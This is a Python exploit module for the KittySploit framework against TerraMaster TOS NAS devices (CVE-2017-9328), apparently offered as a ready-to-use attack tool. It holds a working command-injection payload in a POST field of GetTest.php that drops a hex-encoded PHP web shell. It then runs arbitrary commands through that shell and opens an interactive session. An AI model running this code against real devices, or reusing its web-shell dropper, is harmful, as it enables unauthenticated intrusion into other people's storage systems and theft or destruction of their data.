TerraMaster TOS - GetTest.php RCE (CVE-2017-9328)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TerraMaster TOS GetTest.php RCE (CVE-2017-9328) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TerraMaster TOS - GetTest.php RCE (CVE-2017-9328)',
        'description': (
            'Exploits command injection in TerraMaster /include/ajax/GetTest.php to drop a '
            'PHP shell and open an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-9328'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2017-9328'],
        'tags': ['terramaster', 'nas', 'rce', 'unauth', 'cve-2017-9328'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2017_9328_detect'],
            },
        },
    }

    _shell = None

    def _ensure_shell(self) -> bool:
        if self._shell:
            return True
        fname = 'ks_' + self.random_text(8) + '.php'
        # <?php echo shell_exec($_GET["c"]); ?>
        php = '<?php echo shell_exec($_GET["c"]); ?>'
        hexed = ''.join(f'\\x{ord(c):02x}' for c in php) + '\\n'
        data = (
            'dev=b1bebe&testtype=start;\\"'
            f'$(echo -en "{hexed}" > {fname});'
        )
        r = self.http_request(
            method='POST',
            path='/include/ajax/GetTest.php',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return False
        self._shell = f'/include/ajax/{fname}'
        return True

    def execute(self, cmd: str) -> str:
        if not self._ensure_shell():
            return ''
        from urllib.parse import quote
        path = f'{self._shell}?c={quote(str(cmd), safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2017-9328 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()